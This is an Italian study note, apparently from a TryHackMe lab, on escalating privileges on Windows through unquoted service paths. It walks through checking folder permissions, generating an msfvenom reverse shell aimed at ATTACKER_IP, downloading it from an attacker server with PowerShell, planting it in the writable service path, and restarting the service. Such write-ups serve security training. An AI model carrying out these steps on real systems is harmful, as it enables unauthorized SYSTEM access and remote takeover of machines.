Quartz 4

Servizi in Esecuzione non Quotati

4 min read

tags : servizi_in_esecuzione non_quotati windows priv_esc

Quando non possiamo scrivere direttamente negli eseguibili del servizio come nel caso visto in questa pagina Servizi in Esecuzione potrebbe esserci ancora la possibilità di forzare un servizio a eseguire eseguibili arbitrari usando una funzionalità piuttosto oscura. Quando si lavora con i servizi Windows, si verifica un comportamento molto particolare quando il servizio è configurato per puntare a un eseguibile “non quotato”. Con non quotato, intendiamo che il percorso dell’eseguibile associato non è correttamente quotato per tenere conto degli spazi nel comando. Come esempio, diamo un’occhiata alla differenza tra due servizi . Il primo servizio userà una quotazione corretta in modo che l’SCM sappia senza ombra di dubbio che deve eseguire il file binario puntato da “C:\Program Files\RealVNC\VNC Server\vncserver.exe”, seguito dai parametri forniti:

C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

nota Ricorda che PowerShell ha 'sc' come alias di 'Set-Content', quindi devi usare 'sc.exe' per controllare i servizi se ti trovi in ​​un prompt di PowerShell.

Ora diamo un’occhiata a un altro servizio senza virgolette appropriate:

C:\Program Files\My Service\bin\service.exe

Quando l’SCM tenta di eseguire il binario associato, si verifica un problema. Poiché ci sono spazi nel nome della cartella “Program Files” e “My Service”, il comando diventa ambiguo e l’SCM non sa quale quale tra gli eseguibili scegliere come in questo esempio:

Windows proverà a eseguire:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My Service\bin\service.exe

Da questo comportamento, il problema diventa evidente. Se un aggressore crea uno degli eseguibili che vengono cercati prima dell’eseguibile del servizio previsto, può forzare il servizio a eseguire un eseguibile arbitrario. Sebbene ciò possa sembrare banale, la maggior parte degli eseguibili del servizio verrà installata in C:\Programmi o C:\Programmi (x86) per impostazione predefinita, che non è scrivibile da utenti non privilegiati. Ciò impedisce che qualsiasi servizio vulnerabile venga sfruttato. Ci sono delle eccezioni a questa regola: - Alcuni programmi di installazione modificano le autorizzazioni sulle cartelle installate, rendendo i servizi vulnerabili. - Un amministratore potrebbe decidere di installare i binari del servizio in un percorso non predefinito. Se tale percorso è scrivibile da tutti, la vulnerabilità può essere sfruttata. Quindi se ci trovassimo in un contesto come quello descritto in precedenza possiamo crearci un file C:\Program.exe, C:\Program Files\My.exe o C:\Program Files\My Service\bin\service.exe con all’interno per esempio una reverse shell per farlo eseguire da Windows al posto del file legittimo service.exe.

Quindi quando un percorso contiene spazi senza "" è molto probabile che sia vulnerabile

Possiamo verificare i permessi di una cartella con il seguente comando icacls:

C:\>icacls c:\MyPrograms
C:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) 
              BUILTIN\Administrators:(I)(OI)(CI)(F) 
              BUILTIN\Users:(I)(OI)(CI)(RX) 
              BUILTIN\Users:(I)(CI)(AD) 
              BUILTIN\Users:(I)(CI)(WD) 
              CREATOR OWNER:(I)(OI)(CI)(IO)(F) Successfully processed 1 files; Failed processing 0 files

(Ho cambiato cartelle per seguire l’esempio di TryHackMe)

Il gruppo BUILTIN\Users ha privilegi AD e WD, consentendo all’utente di creare rispettivamente sottodirectory e file. Quindi possiamo crearci un payload con msfvenom ed inserirlo nella cartella vulnerabile in questo caso MyPrograms questo farà si che al posto che eseguire il comando legittimo venga eseguita la nostra reverse shell che ci fornirà privilegi di root in modo analogo a quanto viene fatto con i Servizi in Esecuzione.

Quindi possiamo crearci una reverse shell con msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

Trasferire il file tramite la creazione di un server python e il comando powershell per scaricarlo:

powershell -c "Invoke-WebRequest -Uri 'http://10.14.83.140/rev-svc2.exe' -OutFile 'C:\Windows\Temp\rev-svc2.exe'"

Poi trasferire il file nella cartella vulnerabile con il nome del servizio che vogliamo sostituire in modo da sostituirlo:

C:\> move C:\Windows\Temp\rev-svc2.exe C:\MyPrograms\Disk.exe

Dargli i privilegi tramite icacls:

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F 
 
Successfully processed 1 files.

Metterci in ascolto con Netcat alla porta stabilita e se possibile disattivare e riattivare il servizio usare questi comandi:

 
//Ricorda che in powershell è sc.exe
 
C:\> sc stop "disk sorter enterprise"   
C:\> sc start "disk sorter enterprise"

Altrimenti bisogna aspettare che la macchina lo esegua nel tempo stabilito dall’amministratore.

Graph View